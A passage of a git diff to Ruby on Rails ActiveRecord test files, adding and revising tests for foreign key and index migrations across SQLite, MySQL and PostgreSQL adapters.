+          foreign_keys = @connection.foreign_keys("astronauts")
+          assert_equal 2, foreign_keys.size
+          assert foreign_keys.all? { |fk| fk.to_table == "rockets" }
+          assert_equal ["favorite_rocket_id", "rocket_id"], foreign_keys.map(&:column).sort
+        end
+
+        def test_add_foreign_key_with_if_not_exists_considers_primary_key_option
+          @connection.add_column :rockets, :id_for_type_change, :bigint
+
+          # Is needed to be able to reference by foreign key
+          @connection.add_index :rockets, :id_for_type_change, unique: true
+
+          @connection.add_foreign_key :astronauts, :rockets
+          @connection.add_foreign_key(:astronauts, :rockets, primary_key: :id_for_type_change,
+            name: "custom_pk",  if_not_exists: true)
+
+          foreign_keys = @connection.foreign_keys("astronauts")
+          assert_equal 2, foreign_keys.size
+          assert foreign_keys.all? { |fk| fk.to_table == "rockets" }
+          assert_equal ["id", "id_for_type_change"], foreign_keys.map(&:primary_key).sort
+        end
+
+        def test_remove_foreign_key_with_multiple_keys_between_tables
+          @connection.add_column :astronauts, :backup_rocket_id, :bigint
+
+          @connection.add_foreign_key :astronauts, :rockets, column: :rocket_id
+          @connection.add_foreign_key :astronauts, :rockets, column: :backup_rocket_id
+
+          @connection.remove_foreign_key :astronauts, :rockets
+
+          foreign_keys = @connection.foreign_keys(:astronauts)
+          assert_equal 1, foreign_keys.size
+          assert_equal "backup_rocket_id", foreign_keys.first.column
+
+          @connection.remove_foreign_key :astronauts, :rockets, column: :backup_rocket_id
+          assert_empty @connection.foreign_keys(:astronauts)
         end
 
         def test_add_foreign_key_with_non_standard_primary_key
@@ -107,7 +292,7 @@ def test_add_foreign_key_with_non_standard_primary_key
           assert_equal "space_shuttles", fk.to_table
           assert_equal "pk", fk.primary_key
         ensure
-          @connection.remove_foreign_key :astronauts, name: "custom_pk"
+          @connection.remove_foreign_key :astronauts, name: "custom_pk", to_table: "space_shuttles"
           @connection.drop_table :space_shuttles
         end
 
@@ -118,7 +303,7 @@ def test_add_on_delete_restrict_foreign_key
           assert_equal 1, foreign_keys.size
 
           fk = foreign_keys.first
-          if current_adapter?(:Mysql2Adapter)
+          if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
             # ON DELETE RESTRICT is the default on MySQL
             assert_nil fk.on_delete
           else
@@ -166,6 +351,20 @@ def test_add_foreign_key_with_on_update
           assert_equal :nullify, fk.on_update
         end
 
+        def test_add_foreign_key_with_non_existent_from_table_raises
+          e = assert_raises StatementInvalid do
+            @connection.add_foreign_key :missions, :rockets
+          end
+          assert_match(/missions/, e.message)
+        end
+
+        def test_add_foreign_key_with_non_existent_to_table_raises
+          e = assert_raises StatementInvalid do
+            @connection.add_foreign_key :missions, :rockets
+          end
+          assert_match(/missions/, e.message)
+        end
+
         def test_foreign_key_exists
           @connection.add_foreign_key :astronauts, :rockets
 
@@ -173,6 +372,16 @@ def test_foreign_key_exists
           assert_not @connection.foreign_key_exists?(:astronauts, :stars)
         end
 
+        def test_foreign_key_exists_referencing_table_having_keyword_as_name
+          @connection.create_table :user, force: true
+          @connection.add_column :rockets, :user_id, :bigint
+          @connection.add_foreign_key :rockets, :user
+          assert @connection.foreign_key_exists?(:rockets, :user)
+        ensure
+          @connection.remove_foreign_key :rockets, :user
+          @connection.drop_table :user
+        end
+
         def test_foreign_key_exists_by_column
           @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id"
 
@@ -181,12 +390,38 @@ def test_foreign_key_exists_by_column
         end
 
         def test_foreign_key_exists_by_name
+          skip if current_adapter?(:SQLite3Adapter)
+
           @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", name: "fancy_named_fk"
 
           assert @connection.foreign_key_exists?(:astronauts, name: "fancy_named_fk")
           assert_not @connection.foreign_key_exists?(:astronauts, name: "other_fancy_named_fk")
         end
 
+        def test_foreign_key_exists_in_change_table
+          @connection.change_table(:astronauts) do |t|
+            t.foreign_key :rockets, column: "rocket_id", name: "fancy_named_fk"
+
+            assert t.foreign_key_exists?(column: "rocket_id")
+            assert_not t.foreign_key_exists?(column: "star_id")
+
+            unless current_adapter?(:SQLite3Adapter)
+              assert t.foreign_key_exists?(name: "fancy_named_fk")
+              assert_not t.foreign_key_exists?(name: "other_fancy_named_fk")
+            end
+          end
+        end
+
+        if supports_sql_standard_drop_constraint?
+          def test_remove_constraint
+            @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", name: "fancy_named_fk"
+
+            assert_equal 1, @connection.foreign_keys("astronauts").size
+            @connection.remove_constraint :astronauts, "fancy_named_fk"
+            assert_equal [], @connection.foreign_keys("astronauts")
+          end
+        end
+
         def test_remove_foreign_key_inferes_column
           @connection.add_foreign_key :astronauts, :rockets
 
@@ -212,6 +447,8 @@ def test_remove_foreign_key_by_symbol_column
         end
 
         def test_remove_foreign_key_by_name
+          skip if current_adapter?(:SQLite3Adapter)
+
           @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", name: "fancy_named_fk"
 
           assert_equal 1, @connection.foreign_keys("astronauts").size
@@ -219,10 +456,229 @@ def test_remove_foreign_key_by_name
           assert_equal [], @connection.foreign_keys("astronauts")
         end
 
+        def test_remove_foreign_key_if_exists_and_custom_column
+          @connection.add_column :astronauts, :myrocket_id, :bigint
+          @connection.add_foreign_key :astronauts, :rockets
+          assert_equal 1, @connection.foreign_keys("astronauts").size
+
+          @connection.remove_foreign_key :astronauts, :rockets, column: :myrocket_id, if_exists: true
+          assert_equal 1, @connection.foreign_keys("astronauts").size
+        end
+
         def test_remove_foreign_non_existing_foreign_key_raises
-          assert_raises ArgumentError do
+          e = assert_raises ArgumentError do
             @connection.remove_foreign_key :astronauts, :rockets
           end
+          assert_equal "Table 'astronauts' has no foreign key for rockets", e.message
+        end
+
+        def test_remove_foreign_key_by_the_select_one_on_the_same_table
+          @connection.add_foreign_key :astronauts, :rockets
+          @connection.add_reference :astronauts, :myrocket, foreign_key: { to_table: :rockets }
+
+          assert_equal 2, @connection.foreign_keys("astronauts").size
+
+          @connection.remove_foreign_key :astronauts, :rockets, column: "myrocket_id"
+
+          assert_equal [["astronauts", "rockets", "rocket_id"]],
+            @connection.foreign_keys("astronauts").map { |fk| [fk.from_table, fk.to_table, fk.column] }
+        end
+
+        def test_remove_foreign_key_with_restrict_action
+          @connection.add_foreign_key :astronauts, :rockets, on_delete: :restrict
+          assert_equal 1, @connection.foreign_keys("astronauts").size
+          @connection.remove_foreign_key :astronauts, :rockets, on_delete: :restrict
+          assert_empty @connection.foreign_keys("astronauts")
+        end
+
+        if ActiveRecord::Base.lease_connection.supports_validate_constraints?
+          def test_add_invalid_foreign_key
+            @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", validate: false
+
+            foreign_keys = @connection.foreign_keys("astronauts")
+            assert_equal 1, foreign_keys.size
+
+            fk = foreign_keys.first
+            assert_not_predicate fk, :validated?
+          end
+
+          def test_validate_foreign_key_infers_column
+            @connection.add_foreign_key :astronauts, :rockets, validate: false
+            assert_not_predicate @connection.foreign_keys("astronauts").first, :validated?
+
+            @connection.validate_foreign_key :astronauts, :rockets
+            assert_predicate @connection.foreign_keys("astronauts").first, :validated?
+          end
+
+          def test_validate_foreign_key_by_column
+            @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", validate: false
+            assert_not_predicate @connection.foreign_keys("astronauts").first, :validated?
+
+            @connection.validate_foreign_key :astronauts, column: "rocket_id"
+            assert_predicate @connection.foreign_keys("astronauts").first, :validated?
+          end
+
+          def test_validate_foreign_key_by_symbol_column
+            @connection.add_foreign_key :astronauts, :rockets, column: :rocket_id, validate: false
+            assert_not_predicate @connection.foreign_keys("astronauts").first, :validated?
+
+            @connection.validate_foreign_key :astronauts, column: :rocket_id
+            assert_predicate @connection.foreign_keys("astronauts").first, :validated?
+          end
+
+          def test_validate_foreign_key_by_name
+            @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", name: "fancy_named_fk", validate: false
+            assert_not_predicate @connection.foreign_keys("astronauts").first, :validated?
+
+            @connection.validate_foreign_key :astronauts, name: "fancy_named_fk"
+            assert_predicate @connection.foreign_keys("astronauts").first, :validated?
+          end
+
+          def test_validate_foreign_non_existing_foreign_key_raises
+            assert_raises ArgumentError do
+              @connection.validate_foreign_key :astronauts, :rockets
+            end
+          end
+
+          def test_validate_constraint_by_name
+            @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", name: "fancy_named_fk", validate: false
+
+            @connection.validate_constraint :astronauts, "fancy_named_fk"
+            assert_predicate @connection.foreign_keys("astronauts").first, :validated?
+          end
+
+          def test_schema_dumping_with_validate_false
+            @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", validate: false
+
+            output = dump_table_schema "astronauts"
+
+            assert_match %r{\s+add_foreign_key "astronauts", "rockets", validate: false$}, output
+          end
+
+          def test_schema_dumping_with_validate_true
+            @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", validate: true
+
+            output = dump_table_schema "astronauts"
+
+            assert_match %r{\s+add_foreign_key "astronauts", "rockets"$}, output
+          end
+        else
+          # Foreign key should still be created, but should not be invalid
+          def test_add_invalid_foreign_key
+            @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", validate: false
+
+            foreign_keys = @connection.foreign_keys("astronauts")
+            assert_equal 1, foreign_keys.size
+
+            fk = foreign_keys.first
+            assert_predicate fk, :validated?
+          end
+        end
+
+        if ActiveRecord::Base.lease_connection.supports_deferrable_constraints?
+          def test_deferrable_foreign_key
+            assert_queries_match(/\("id"\)\s+DEFERRABLE INITIALLY IMMEDIATE\W*\z/i) do
+              @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", deferrable: :immediate
+            end
+
+            foreign_keys = @connection.foreign_keys("astronauts")
+            assert_equal 1, foreign_keys.size
+
+            fk = foreign_keys.first
+            assert_equal :immediate, fk.deferrable
+          end
+
+          def test_not_deferrable_foreign_key
+            @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", deferrable: false
+
+            foreign_keys = @connection.foreign_keys("astronauts")
+            assert_equal 1, foreign_keys.size
+
+            fk = foreign_keys.first
+            assert_equal false, fk.deferrable
+          end
+
+          def test_deferrable_initially_deferred_foreign_key
+            @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", deferrable: :deferred
+
+            foreign_keys = @connection.foreign_keys("astronauts")
+            assert_equal 1, foreign_keys.size
+
+            fk = foreign_keys.first
+            assert_equal :deferred, fk.deferrable
+          end
+
+          def test_deferrable_initially_immediate_foreign_key
+            @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", deferrable: :immediate
+
+            foreign_keys = @connection.foreign_keys("astronauts")
+            assert_equal 1, foreign_keys.size
+
+            fk = foreign_keys.first
+            assert_equal :immediate, fk.deferrable
+          end
+
+          def test_schema_dumping_with_defferable
+            @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", deferrable: :immediate
+
+            output = dump_table_schema "astronauts"
+
+            assert_match %r{\s+add_foreign_key "astronauts", "rockets", deferrable: :immediate$}, output
+          end
+
+          def test_schema_dumping_with_disabled_defferable
+            @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", deferrable: false
+
+            output = dump_table_schema "astronauts"
+
+            assert_match %r{\s+add_foreign_key "astronauts", "rockets"$}, output
+          end
+
+          def test_schema_dumping_with_defferable_initially_deferred
+            @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", deferrable: :deferred
+
+            output = dump_table_schema "astronauts"
+
+            assert_match %r{\s+add_foreign_key "astronauts", "rockets", deferrable: :deferred$}, output
+          end
+
+          def test_schema_dumping_with_defferable_initially_immediate
+            @connection.add_foreign_key :astronauts, :rockets, column: "rocket_id", deferrable: :immediate
+
+            output = dump_table_schema "astronauts"
+
+            assert_match %r{\s+add_foreign_key "astronauts", "rockets", deferrable: :immediate$}, output
+          end
+
+          def test_schema_dumping_with_special_chars_deferrable
+            @connection.add_reference :astronauts, :røcket, foreign_key: { to_table: :rockets, deferrable: :deferred }
+
+            output = dump_table_schema "astronauts"
+
+            assert_match %r{\s+add_foreign_key "astronauts", "rockets", column: "røcket_id", deferrable: :deferred$}, output
+          end
+        end
+
+        def test_does_not_create_foreign_keys_when_bypassed_by_config
+          require "active_record/connection_adapters/sqlite3_adapter"
+          connection = ActiveRecord::ConnectionAdapters::SQLite3Adapter.new(
+            adapter: "sqlite3",
+            database: ":memory:",
+            foreign_keys: false,
+          )
+
+          connection.create_table "rockets", force: true do |t|
+            t.string :name
+          end
+          connection.create_table "astronauts", force: true do |t|
+            t.string :name
+            t.references :rocket
+          end
+
+          connection.add_foreign_key :astronauts, :rockets
+
+          foreign_keys = connection.foreign_keys("astronauts")
+          assert_equal 0, foreign_keys.size
         end
 
         def test_schema_dumping
@@ -233,7 +689,22 @@ def test_schema_dumping
 
         def test_schema_dumping_with_options
           output = dump_table_schema "fk_test_has_fk"
-          assert_match %r{\s+add_foreign_key "fk_test_has_fk", "fk_test_has_pk", column: "fk_id", primary_key: "pk_id", name: "fk_name"$}, output
+          if current_adapter?(:SQLite3Adapter)
+            assert_match %r{\s+add_foreign_key "fk_test_has_fk", "fk_test_has_pk", column: "fk_id", primary_key: "pk_id"$}, output
+          else
+            assert_match %r{\s+add_foreign_key "fk_test_has_fk", "fk_test_has_pk", column: "fk_id", primary_key: "pk_id", name: "fk_name"$}, output
+          end
+        end
+
+        def test_schema_dumping_with_custom_fk_ignore_pattern
+          original_pattern = ActiveRecord::SchemaDumper.fk_ignore_pattern
+          ActiveRecord::SchemaDumper.fk_ignore_pattern = /^ignored_/
+          @connection.add_foreign_key :astronauts, :rockets, name: :ignored_fk_astronauts_rockets
+
+          output = dump_table_schema "astronauts"
+          assert_match %r{\s+add_foreign_key "astronauts", "rockets"$}, output
+
+          ActiveRecord::SchemaDumper.fk_ignore_pattern = original_pattern
         end
 
         def test_schema_dumping_on_delete_and_on_update_options
@@ -259,20 +730,30 @@ def change
         end
 
         def test_add_foreign_key_is_reversible
+          @connection.drop_table("cities", if_exists: true)
+          @connection.drop_table("houses", if_exists: true)
+
           migration = CreateCitiesAndHousesMigration.new
           silence_stream($stdout) { migration.migrate(:up) }
           assert_equal 1, @connection.foreign_keys("houses").size
-        ensure
           silence_stream($stdout) { migration.migrate(:down) }
+        ensure
+          @connection.drop_table("cities", if_exists: true)
+          @connection.drop_table("houses", if_exists: true)
         end
 
         def test_foreign_key_constraint_is_not_cached_incorrectly
+          @connection.drop_table("cities", if_exists: true)
+          @connection.drop_table("houses", if_exists: true)
+
           migration = CreateCitiesAndHousesMigration.new
           silence_stream($stdout) { migration.migrate(:up) }
           output = dump_table_schema "houses"
           assert_match %r{\s+add_foreign_key "houses",.+on_delete: :cascade$}, output
-        ensure
           silence_stream($stdout) { migration.migrate(:down) }
+        ensure
+          @connection.drop_table("cities", if_exists: true)
+          @connection.drop_table("houses", if_exists: true)
         end
 
         class CreateSchoolsAndClassesMigration < ActiveRecord::Migration::Current
@@ -282,7 +763,7 @@ def change
             create_table(:classes) do |t|
               t.references :school
             end
-            add_foreign_key :classes, :schools
+            add_foreign_key :classes, :schools, validate: true
           end
         end
 
@@ -305,32 +786,202 @@ def test_add_foreign_key_with_suffix
           silence_stream($stdout) { migration.migrate(:down) }
           ActiveRecord::Base.table_name_suffix = nil
         end
+
+        def test_remove_foreign_key_with_prefix
+          ActiveRecord::Base.table_name_prefix = "p_"
+
+          migration = CreateSchoolsAndClassesMigration.new
+          silence_stream($stdout) { migration.migrate(:up) }
+          assert_equal 1, @connection.foreign_keys("p_classes").size
+
+          @connection.remove_foreign_key :p_classes
+
+          assert_empty @connection.foreign_keys("p_classes")
+        ensure
+          @connection.drop_table :p_classes
+          @connection.drop_table :p_schools
+          ActiveRecord::Base.table_name_prefix = nil
+        end
+
+        def test_remove_foreign_key_with_suffix
+          ActiveRecord::Base.table_name_suffix = "_s"
+
+          migration = CreateSchoolsAndClassesMigration.new
+          silence_stream($stdout) { migration.migrate(:up) }
+          assert_equal 1, @connection.foreign_keys("classes_s").size
+
+          @connection.remove_foreign_key :classes_s
+
+          assert_empty @connection.foreign_keys("classes_s")
+        ensure
+          @connection.drop_table :classes_s
+          @connection.drop_table :schools_s
+          ActiveRecord::Base.table_name_suffix = nil
+        end
+
+        def test_remove_foreign_key_with_if_exists_not_set
+          @connection.add_foreign_key :astronauts, :rockets
+          assert_equal 1, @connection.foreign_keys("astronauts").size
+
+          @connection.remove_foreign_key :astronauts, :rockets
+          assert_equal [], @connection.foreign_keys("astronauts")
+
+          error = assert_raises do
+            @connection.remove_foreign_key :astronauts, :rockets
+          end
+
+          assert_equal("Table 'astronauts' has no foreign key for rockets", error.message)
+        end
+
+        def test_remove_foreign_key_with_if_exists_set
+          @connection.add_foreign_key :astronauts, :rockets
+          assert_equal 1, @connection.foreign_keys("astronauts").size
+
+          @connection.remove_foreign_key :astronauts, :rockets, if_exists: true
+          assert_equal [], @connection.foreign_keys("astronauts")
+
+          assert_nothing_raised do
+            @connection.remove_foreign_key :astronauts, :rockets, if_exists: true
+          end
+        end
+
+        def test_add_foreign_key_with_if_not_exists_not_set
+          @connection.add_foreign_key :astronauts, :rockets
+          assert_equal 1, @connection.foreign_keys("astronauts").size
+
+          if current_adapter?(:SQLite3Adapter)
+            assert_nothing_raised do
+              @connection.add_foreign_key :astronauts, :rockets
+            end
+          else
+            error = assert_raises do
+              @connection.add_foreign_key :astronauts, :rockets
+            end
+
+            if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+              if ActiveRecord::Base.lease_connection.mariadb?
+                assert_match(/Duplicate key on write or update|Duplicate FOREIGN KEY/, error.message)
+              elsif ActiveRecord::Base.lease_connection.database_version < "8.0"
+                assert_match(/Can't write; duplicate key in table/, error.message)
+              else
+                assert_match(/Duplicate foreign key constraint name/, error.message)
+              end
+            else
+              assert_match(/PG::DuplicateObject: ERROR:.*for relation "astronauts" already exists/, error.message)
+            end
+
+          end
+        end
+
+        def test_add_foreign_key_with_if_not_exists_set
+          @connection.add_foreign_key :astronauts, :rockets
+          assert_equal 1, @connection.foreign_keys("astronauts").size
+
+          assert_nothing_raised do
+            @connection.add_foreign_key :astronauts, :rockets, if_not_exists: true
+          end
+        end
+
+        def test_add_foreign_key_preserves_existing_column_types
+          assert_no_changes -> { column_for(:astronauts, :rocket_id).bigint? }, from: true do
+            @connection.add_foreign_key :astronauts, :rockets
+          end
+        end
+
+        private
+          def column_for(table_name, column_name)
+            @connection.columns(table_name).find { |column| column.name == column_name.to_s }
+          end
       end
-    end
-  end
-else
-  module ActiveRecord
-    class Migration
-      class NoForeignKeySupportTest < ActiveRecord::TestCase
+
+      class CompositeForeignKeyTest < ActiveRecord::TestCase
+        include SchemaDumpingHelper
+
         setup do
-          @connection = ActiveRecord::Base.connection
+          @connection = ActiveRecord::Base.lease_connection
+          @connection.create_table :rockets, primary_key: [:tenant_id, :id], force: true do |t|
+            t.integer :tenant_id
+            t.integer :id
+          end
+          @connection.create_table :astronauts, force: true do |t|
+            t.integer :rocket_id
+            t.integer :rocket_tenant_id
+          end
         end
 
-        def test_add_foreign_key_should_be_noop
-          @connection.add_foreign_key :clubs, :categories
+        teardown do
+          @connection.drop_table :astronauts, if_exists: true rescue nil
+          @connection.drop_table :rockets, if_exists: true rescue nil
         end
 
-        def test_remove_foreign_key_should_be_noop
-          @connection.remove_foreign_key :clubs, :categories
+        def test_add_composite_foreign_key_raises_without_options
+          error = assert_raises(ActiveRecord::StatementInvalid) do
+            @connection.add_foreign_key :astronauts, :rockets
+          end
+
+          if current_adapter?(:PostgreSQLAdapter)
+            assert_match(/there is no unique constraint matching given keys for referenced table "rockets"/, error.message)
+          elsif current_adapter?(:SQLite3Adapter)
+            assert_match(/foreign key mismatch - "astronauts" referencing "rockets"/, error.message)
+          else
+            # MariaDB and different versions of MySQL generate different error messages.
+            [
+              /Foreign key constraint is incorrectly formed/i,
+              /Failed to add the foreign key constraint/i,
+              /Cannot add foreign key constraint/i
+            ].any? { |message| error.message.match?(message) }
+          end
         end
 
-        unless current_adapter?(:SQLite3Adapter)
-          def test_foreign_keys_should_raise_not_implemented
-            assert_raises NotImplementedError do
-              @connection.foreign_keys("clubs")
-            end
+        def test_add_composite_foreign_key_infers_column
+          @connection.add_foreign_key :astronauts, :rockets, primary_key: [:tenant_id, :id]
+
+          foreign_keys = @connection.foreign_keys(:astronauts)
+          assert_equal 1, foreign_keys.size
+
+          fk = foreign_keys.first
+          assert_equal ["rocket_tenant_id", "rocket_id"], fk.column
+        end
+
+        def test_add_composite_foreign_key_raises_if_column_and_primary_key_sizes_mismatch
+          assert_raises(ArgumentError, match: ":column must reference all the :primary_key columns") do
+            @connection.add_foreign_key :astronauts, :rockets, column: :rocket_id, primary_key: [:tenant_id, :id]
           end
         end
+
+        def test_foreign_key_exists
+          @connection.add_foreign_key :astronauts, :rockets, primary_key: [:tenant_id, :id]
+
+          assert @connection.foreign_key_exists?(:astronauts, :rockets)
+          assert_not @connection.foreign_key_exists?(:astronauts, :stars)
+        end
+
+        def test_foreign_key_exists_by_options
+          @connection.add_foreign_key :astronauts, :rockets, primary_key: [:tenant_id, :id]
+
+          assert @connection.foreign_key_exists?(:astronauts, :rockets, primary_key: [:tenant_id, :id])
+          assert @connection.foreign_key_exists?(:astronauts, :rockets, column: [:rocket_tenant_id, :rocket_id], primary_key: [:tenant_id, :id])
+
+          assert_not @connection.foreign_key_exists?(:astronauts, :rockets, primary_key: [:id, :tenant_id])
+          assert_not @connection.foreign_key_exists?(:astronauts, :rockets, primary_key: :id)
+          assert_not @connection.foreign_key_exists?(:astronauts, :rockets, column: :rocket_id)
+        end
+
+        def test_remove_foreign_key
+          @connection.add_foreign_key :astronauts, :rockets, primary_key: [:tenant_id, :id]
+          assert_equal 1, @connection.foreign_keys(:astronauts).size
+
+          @connection.remove_foreign_key :astronauts, :rockets
+          assert_empty @connection.foreign_keys(:astronauts)
+        end
+
+        def test_schema_dumping
+          @connection.add_foreign_key :astronauts, :rockets, primary_key: [:tenant_id, :id]
+
+          output = dump_table_schema "astronauts"
+
+          assert_match %r{\s+add_foreign_key "astronauts", "rockets", column: \["rocket_tenant_id", "rocket_id"\], primary_key: \["tenant_id", "id"\]$}, output
+        end
       end
     end
   end
diff --git a/activerecord/test/cases/migration/helper.rb b/activerecord/test/cases/migration/helper.rb
index 9c0fa7339d92d..2ea8db5b0419d 100644
--- a/activerecord/test/cases/migration/helper.rb
+++ b/activerecord/test/cases/migration/helper.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 module ActiveRecord
@@ -16,7 +18,7 @@ class TestModel < ActiveRecord::Base
 
       def setup
         super
-        @connection = ActiveRecord::Base.connection
+        @connection = ActiveRecord::Base.lease_connection
         connection.create_table :test_models do |t|
           t.timestamps null: true
         end
@@ -32,7 +34,6 @@ def teardown
       end
 
       private
-
         delegate(*CONNECTION_METHODS, to: :connection)
     end
   end
diff --git a/activerecord/test/cases/migration/index_test.rb b/activerecord/test/cases/migration/index_test.rb
index f10fcf139833d..fe9f2b1ccb662 100644
--- a/activerecord/test/cases/migration/index_test.rb
+++ b/activerecord/test/cases/migration/index_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 module ActiveRecord
@@ -7,7 +9,7 @@ class IndexTest < ActiveRecord::TestCase
 
       def setup
         super
-        @connection = ActiveRecord::Base.connection
+        @connection = ActiveRecord::Base.lease_connection
         @table_name = :testings
 
         connection.create_table table_name do |t|
@@ -31,10 +33,17 @@ def test_rename_index
         connection.add_index(table_name, [:foo], name: "old_idx")
         connection.rename_index(table_name, "old_idx", "new_idx")
 
-        assert_deprecated do
-          assert_not connection.index_name_exists?(table_name, "old_idx", false)
-          assert connection.index_name_exists?(table_name, "new_idx", true)
-        end
+        assert_not connection.index_name_exists?(table_name, "old_idx")
+        assert connection.index_name_exists?(table_name, "new_idx")
+      end
+
+      def test_rename_index_with_symbol
+        # keep the names short to make Oracle and similar behave
+        connection.add_index(table_name, [:foo], name: :old_idx)
+        connection.rename_index(table_name, :old_idx, :new_idx)
+
+        assert_not connection.index_name_exists?(table_name, "old_idx")
+        assert connection.index_name_exists?(table_name, "new_idx")
       end
 
       def test_rename_index_too_long
@@ -44,18 +53,11 @@ def test_rename_index_too_long
         e = assert_raises(ArgumentError) {
           connection.rename_index(table_name, "old_idx", too_long_index_name)
         }
-        assert_match(/too long; the limit is #{connection.allowed_index_name_length} characters/, e.message)
+        assert_match(/too long \(#{too_long_index_name.length} characters\); the limit is #{connection.index_name_length} characters/, e.message)
 
         assert connection.index_name_exists?(table_name, "old_idx")
       end
 
-      def test_double_add_index
-        connection.add_index(table_name, [:foo], name: "some_idx")
-        assert_raises(ArgumentError) {
-          connection.add_index(table_name, [:foo], name: "some_idx")
-        }
-      end
-
       def test_remove_nonexistent_index
         assert_raise(ArgumentError) { connection.remove_index(table_name, "no_such_index") }
       end
@@ -73,12 +75,76 @@ def test_add_index_does_not_accept_too_long_index_names
         e = assert_raises(ArgumentError) {
           connection.add_index(table_name, "foo", name: too_long_index_name)
         }
-        assert_match(/too long; the limit is #{connection.allowed_index_name_length} characters/, e.message)
+        assert_match(/too long \(#{too_long_index_name.length} characters\); the limit is #{connection.index_name_length} characters/, e.message)
 
         assert_not connection.index_name_exists?(table_name, too_long_index_name)
         connection.add_index(table_name, "foo", name: good_index_name)
       end
 
+      def test_add_index_which_already_exists_does_not_raise_error_with_option
+        connection.add_index(table_name, "foo")
+
+        assert_nothing_raised do
+          connection.add_index(table_name, "foo", if_not_exists: true)
+        end
+
+        assert connection.index_name_exists?(table_name, "index_testings_on_foo")
+      end
+
+      def test_add_index_with_if_not_exists_matches_exact_index
+        connection.add_index(table_name, [:foo, :bar], unique: false, name: "index_testings_on_foo_bar")
+
+        assert connection.index_name_exists?(table_name, "index_testings_on_foo_bar")
+
+        assert_nothing_raised do
+          connection.add_index(table_name, [:foo, :bar], unique: true, if_not_exists: true)
+        end
+
+        assert connection.index_name_exists?(table_name, "index_testings_on_foo_and_bar")
+      end
+
+      def test_add_index_fallback_to_short_name
+        connection.add_index(table_name, [:foo, :bar, :first_name, :last_name, :administrator])
+        assert connection.index_name_exists?(table_name, "idx_on_foo_bar_first_name_last_name_administrator_5939248142")
+      end
+
+      def test_remove_index_which_does_not_exist_doesnt_raise_with_option
+        connection.add_index(table_name, "foo")
+
+        connection.remove_index(table_name, "foo")
+
+        assert_raises ArgumentError do
+          connection.remove_index(table_name, "foo")
+        end
+
+        assert_nothing_raised do
+          connection.remove_index(table_name, "foo", if_exists: true)
+        end
+      end
+
+      def test_remove_index_with_name_which_does_not_exist_doesnt_raise_with_option
+        connection.add_index(table_name, [:foo], name: "foo")
+
+        assert connection.index_exists?(table_name, :foo, name: "foo")
+
+        connection.remove_index(table_name, nil, name: "foo", if_exists: true)
+
+        assert_not connection.index_exists?(table_name, :foo, name: "foo")
+      end
+
+      def test_remove_index_with_column_array_which_does_not_exist_doesnt_raise_with_option
+        connection.add_index(table_name, [:foo], name: "foo")
+
+        assert connection.index_exists?(table_name, :foo, name: "foo")
+
+        assert_nothing_raised do
+          connection.remove_index(table_name, column: [:foo, :bar], if_exists: true)
+        end
+
+        assert connection.index_exists?(table_name, :foo, name: "foo")
+        assert_not connection.index_exists?(table_name, nil, column: [:foo, :bar], name: "foo")
+      end
+
       def test_internal_index_with_name_matching_database_limit
         good_index_name = "x" * connection.index_name_length
         connection.add_index(table_name, "foo", name: good_index_name, internal: true)
@@ -99,7 +165,7 @@ def test_index_exists
         connection.add_index :testings, :foo
 
         assert connection.index_exists?(:testings, :foo)
-        assert !connection.index_exists?(:testings, :bar)
+        assert_not connection.index_exists?(:testings, :bar)
       end
 
       def test_index_exists_on_multiple_columns
@@ -111,6 +177,8 @@ def test_index_exists_on_multiple_columns
       def test_index_exists_with_custom_name_checks_columns
         connection.add_index :testings, [:foo, :bar], name: "my_index"
         assert connection.index_exists?(:testings, [:foo, :bar], name: "my_index")
+        assert connection.index_exists?(:testings, [], name: "my_index")
+        assert connection.index_exists?(:testings, name: "my_index")
         assert_not connection.index_exists?(:testings, [:foo], name: "my_index")
       end
 
@@ -131,15 +199,18 @@ def test_named_index_exists
 
         assert connection.index_exists?(:testings, :foo)
         assert connection.index_exists?(:testings, :foo, name: "custom_index_name")
-        assert !connection.index_exists?(:testings, :foo, name: "other_index_name")
+        assert_not connection.index_exists?(:testings, :foo, name: "other_index_name")
       end
 
       def test_remove_named_index
-        connection.add_index :testings, :foo, name: "custom_index_name"
+        connection.add_index :testings, :foo, name: "index_testings_on_custom_index_name"
 
         assert connection.index_exists?(:testings, :foo)
+
+        assert_raise(ArgumentError) { connection.remove_index(:testings, "custom_index_name") }
+
         connection.remove_index :testings, :foo
-        assert !connection.index_exists?(:testings, :foo)
+        assert_not connection.index_exists?(:testings, :foo)
       end
 
       def test_add_index_attribute_length_limit
@@ -150,19 +221,18 @@ def test_add_index_attribute_length_limit
 
       def test_add_index
         connection.add_index("testings", "last_name")
+        assert connection.index_exists?("testings", "last_name")
         connection.remove_index("testings", "last_name")
+        assert_not connection.index_exists?("testings", "last_name")
 
         connection.add_index("testings", ["last_name", "first_name"])
         connection.remove_index("testings", column: ["last_name", "first_name"])
 
-        # Oracle adapter cannot have specified index name larger than 30 characters
-        # Oracle adapter is shortening index name when just column list is given
-        unless current_adapter?(:OracleAdapter)
-          connection.add_index("testings", ["last_name", "first_name"])
-          connection.remove_index("testings", name: :index_testings_on_last_name_and_first_name)
-          connection.add_index("testings", ["last_name", "first_name"])
-          connection.remove_index("testings", "last_name_and_first_name")
-        end
+        connection.add_index("testings", ["last_name", "first_name"])
+        connection.remove_index("testings", name: :index_testings_on_last_name_and_first_name)
+        connection.add_index("testings", ["last_name", "first_name"])
